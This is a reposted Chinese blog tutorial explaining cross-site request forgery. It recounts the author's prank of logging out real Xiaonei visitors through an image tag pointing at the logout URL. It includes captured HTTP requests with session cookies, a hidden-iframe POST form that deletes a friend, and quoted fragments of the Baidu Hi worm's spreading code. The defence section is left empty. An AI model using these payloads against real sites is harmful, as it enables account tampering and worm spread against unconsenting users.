作者:玄魂
前言
跨站请求伪造是目前很多知名网站都存在的一个漏洞,如果恶意攻击者运用得当会给网站和用户(特别是用户)造成严重的伤害。今天和大家一起讨论下跨站请求伪造的基本原理和常用攻击手法,防患于未然。
本系列导航http://www.cnblogs.com/xuanhun/archive/2008/10/25/1319523.html
安全技术区http://space.cnblogs.com/group/group_detail.aspx?gid=100566
正文
15.1 从校内说起
(一)简单效果
话说校内网目前俨然是中国第一大学生社交网站了,它的安全性也是从最初的一塌糊涂越变越好。客户端验证也从最初可以添加任意代码(html,css,script)到现在的只允许css,而且过滤了关键字,进行服务器端验证。。。使用校内的过程中真的学到了不少知识。偶尔在校内写写日志,难免会注意它的编辑器。
这就是编辑器的全部功能。它不允许查看源代码,当然这不是问题,因为我们知道日志的呈现结果必须是html代码的。随便找个在线编辑器就可以编辑了,然后把编辑后的内容贴过来就好了。不过校内做的还不错,对贴过来的内容也做了过滤,我试着添加script结果都在服务器端被过滤掉了。不知不觉给校内做了个广告。。。下面看我发的一篇日志吧:
题目:heihei
“你来了,
你真的来了,
但你想走的时候。。。。
已经晚了。。。
”
校内来访问我日志的人,在想离开的时候发现跳到了这个页面:
不明白的还纳闷?怎么退出来了。。。明白的已经在骂我了。惨啊!估计挨了不少骂。
(二)查看内幕
下面我们来简单分析下对这段简单的日志http请求的情况:
(1)对日志内容的第一次请求
GET /GetEntry.do?id=379593678&owner=201573034 HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://blog.xiaonei.com/
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Accept-Encoding: gzip, deflate
Host: blog.xiaonei.com
Connection: Keep-Alive
Cookie: __utma=204579609.347185043.1238318018.1240453421.1240456537.158; __utmz=204579609.1240405279.155.23.utmccn=(referral)|utmcsr=home.xiaonei.com|utmcct=/Home.do|utmcmd=referral; _de=8EAD38BFFD04FDBE; id=201800742; mop_uniq_ckid=123.189.23.249_1238318098_149848619; _r01_=1; wpi_clew_cookie=exsit; headbulletincookie232023771=0; homeNtcInf=0; notifyTips201800742=1; xiaonei_stage=20; xiaonei_guide_uid=201573034; __utmb=204579609; depovince=LN; XNESSESSIONID=c9da0fa7aff8; __utmc=204579609; userid=201573034; univid=5426; gender=1; univyear=2005; societyguester=a2ac4d18338093affb56d55a2b96c90a4; kl=b1f2731841d14040d19a6e3eda22a11a_201573034; hostid=201573034; jebecookies=201573034|1|1985-1-5|20|0|5426_; xn_app_histo_201573034=6-26302-3-20706-23446-20-9999-21461-8-17954-17940-2
这一次请求返回了页面的基本html代码
(2)紧接着根据第一次请求获得的html代码分析里面的元素,对<img src=”http://www.xiaonei.com/Logout.do” />做了请求,目的是下载图片。
GET /Logout.do HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://blog.xiaonei.com/GetEntry.do?id=379593678&owner=201573034
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Accept-Encoding: gzip, deflate
Host: www.xiaonei.com
Connection: Keep-Alive
Cookie: __utma=204579609.347185043.1238318018.1240453421.1240456537.158; __utmz=204579609.1240405279.155.23.utmccn=(referral)|utmcsr=home.xiaonei.com|utmcct=/Home.do|utmcmd=referral; _de=8EAD38BFFD04FDBE; id=201800742; mop_uniq_ckid=123.189.23.249_1238318098_149848619; _r01_=1; wpi_clew_cookie=exsit; headbulletincookie232023771=0; homeNtcInf=0; notifyTips201800742=1; xiaonei_stage=20; xiaonei_guide_uid=201573034; depovince=LN; XNESSESSIONID=c9da0fa7aff8; __utmc=204579609; userid=201573034; univid=5426; gender=1; univyear=2005; societyguester=a2ac4d18338093affb56d55a2b96c90a4; kl=b1f2731841d14040d19a6e3eda22a11a_201573034; hostid=201573034; jebecookies=201573034|1|1985-1-5|20|0|5426_; xn_app_histo_201573034=6-26302-3-20706-23446-20-9999-21461-8-17954-17940-2
(三)简要分析:
其实迫使用户退出登录的原因在于那张图片。图片的url并没指向一个真正的图片而是“http://www.xiaonei.com/Logout.do”,这个链接会向校内网发出一个退出的请求。而这个请求是浏览器发出的,这是第一点。第二点,你很容易注意到浏览器发送任何请求的时候都带上了本地的cookie,这是用户退出成功的最基本条件。服务器会根据cookie判断用户的身份和状态。本例演示的就是最简单的请求伪造。
15.2 跨站请求伪造原理
(一)什么是跨站请求伪造
CSRF是伪造客户端请求的一种攻击,CSRF的英文全称是Cross Site Request Forgery,字面上的意思是跨站点请求伪造。是强迫受害者的浏览器向一个易受攻击的Web应用程序发送请求,最后达到攻击者所需要的操作行为。
(二)跨站请求伪造的分类
1.站内伪造。站内伪造不涉及跨域,所以相对来说实施起来比较简单。校内网插入图片的例子就是一个站内伪造的例子。我们注意到http头中的
“Referer: http://blog.xiaonei.com/GetEntry.do?id=379593678&owner=201573034”,如果“blog.xiaonei.com/”变成了“hi.baidu.com”,这时候因为跨域了,这个请求会失败。如果我们提交一个“http://xiaonei.com/DelFriend.do?id=200945709&from=vu”的请求,那么id为200945709的用户就会从当前用户的好友列表中删除。更坏的例子我就不举例了,总之当前用户已经登陆了,理论上你想让他干什么他就会干什么。电子商务类型的网站如果出现这种情况会更糟糕的。
2.站外伪造。这是个跨域提交请求的方式。站外伪造也是弥补站内伪造的各种缺点的有效方式。比如你在站内无法提交特定的脚本或者相应的html代码的时候,你可以在站外构造自己的页面。站外伪造的灵活性更大,我们有更多的选择的余地。
(三)get和post
get请求就像我们前面看到的,一个图片,或者一个超链接就可以办到。对于很多站内伪造,其实只接受post请求就可以解决了,因为很多情况下无法自己发送post请求。但我们也看到这样的情况,本来是要求post的数据,但是由于程序员的疏忽导致get方式也可以成功。Request.Form、Request.QueryString,Request是asp.net接受数据的三种方式,但是如果你使用Request方法时就无法区分是get还是post了,使恶意攻击者有机可乘。post方法的跨站伪造几乎都是在站外伪造中进行的。因为我可以轻松的构造表单然后提交。
(四)浏览器安全特性与伪造请求的关系
客户端的cookie是进行用户状态识别,权限管理,认证,保持会话状态的最常用的方式,但是我们的浏览器对像<img src=””/>这样的请求都要附带上cookie,这使伪造请求有了最基本的保证。
下面这段描述引自网络:
“参照Set-Cookie的标准格式,现今浏览器支持的cookie实际上分为两种形式:
Set-Cookie: <name>=<value>[; <name>=<value>] [; expires=<date>][; domain=<domain_name>] [; path=<some_path>][; secure][; HttpOnly]
一种是内存COOKIE,在没有设定COOKIE值的expires参数,也就是没有设置COOKIE的失效时间情况下,这个COOKIE在关闭浏览器后将失效,并且不会保存在本地。另外一种是本地保存COOKIE,也就是设置了expires参数,COOKIE的值指定了失效时间,那么这个COOKIE 会保存在本地,关闭浏览器后再访问网站,在COOKIE有效时间内所有的请求都会带上这个本地保存COOKIE。
Internet Explorer有一个隐私报告功能,其实这是一个安全功能,它会阻挡所有的第三方COOKIE,比如A域Web页面嵌入了B域的文件,客户端浏览器访问了A域的Web页面后对B域所发起的文件请求所带上的COOKIE会被IE拦截。除开文件请求情况,A域的Web页面如果使用IFRAME帧包含B域的 Web页面,访问A域的Web页面后,B域的Web页面里的所有请求包括文件请求带上的COOKIE同样会被IE拦截。不过Internet Explorer的这个安全功能有两个特性,一是不会拦截内存COOKIE,二是在网站设置了P3P头的情况下,会允许跨域访问COOKIE,隐私报告功能就不会起作用了。
所以在Internet Explorer的这个安全特性的前提下,攻击者要进行站外的CSRF攻击使用文件请求来伪造GET请求的话,受害者必须在使用内存COOKIE也就是没有保存登陆的会话状态下才可能成功。而Firefox浏览器并没有考虑使用这样的功能,站外的CSRF攻击完全没有限制。
”
15.3常用的跨站请求伪造方法
这里我不想举过于详细的例子,网上也有相关资料,大家可以看看,旨在抛砖引玉。
(1)直接请求
本质上是get请求。这种方法比较直接,可以采取让用户点击超链接的方法,浏览器自动请求资源的方法(如<img>,<script>等标签)。如果链接包含在邮件中,是不是可以让用户删除邮件呢?我没试过。
(2)post
post数据一定要有JavaScript的配合,因此对于站内伪造来说很难办到(有xss漏洞的除外),一般用于站外伪造。
<iframe name="XX" display="none">
<form method="POST" name="xxx"
action=http://*****.com/deleteFriend.aspx>
<input type="hidden" name="ID” value="2702455999">
</form>
</iframe>
<script type="text/javascript">
function DealFriend()
{
iframe = document.frames["XX"];
iframe.document.Submit("xxx");
}
</script>
(3)Ajax调用
json数据的应用越来越广泛,攻击者可以向返回json数据的数据接口发起请求从而获得一些关键数据。百度hi蠕虫攻击利用的就是json数据获得好友列表然后传播脚本。部分代码如下:
好友json数据的动态获取
var gotfriends = function (x)
{
for(i=0;i<x[2].length;i++)
{
friends.push(x[2][i][1]);
}
}
loadjson(’<script src=”http://frd.baidu.com/?ct=28&un=’+lusername+’&cm=FriList&tn=bmABCFriList&callback=gotfriends&.tmp=&1=2″><\/script>’);
感染信息输出和消息发送的核心部分
evilurl=url+”/wish.php?from=”+lusername+”&to=”;
sendmsg=”http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn=[user]&co=[evilmsg]”
for(i=0;i<friends.length;i++){
省略…………….
mysendmsg=mysendmsg+”&”+i;
eval(’x'+i+’=new Image();x’+i+’.src=unescape(”‘+mysendmsg+’”);’);
省略…………….
Ajax的另一种用法是请求script文件或者动态生成script文件的页面,插入到当前页面执行一些操作,这也是站内伪造不准随意添加代码的解决方案之一。
(4)伪造http头
这是对于跨域验证的问题的对策之一,通常是伪造Referer。
.net中可以通过类似这样的代码设置
HttpWebRequest myHttpWebRequest=(HttpWebRequest)WebRequest.Create(myUri);
myHttpWebRequest.Referer=http://www.microsoft.com;
或者HttpWebRequest的Header属性。
编程设置http头需要攻击者把受害用户的信息提交到自己的页面,然后由自己页面发送到目标页面的自定义请求携带受害者的认证信息。
(5)AJAX跨域解决方案
这里谈到的知识作为一个补充,不涉及直接攻击问题。具体的可参考相关文章,我只简单罗列一下。因为具体谈的话内容会很多,够一个专题了。
1.iframe嵌套
2.应用代理
3.script标签
15.4跨站请求伪造的解决方案
。。。。。。。。。
呵呵,这部分我想交给各位读者,你看如何?
本文转自悬魂博客园博客,原文链接:http://www.cnblogs.com/xuanhun/archive/2009/04/23/1442239.html,如需转载请自行联系原作者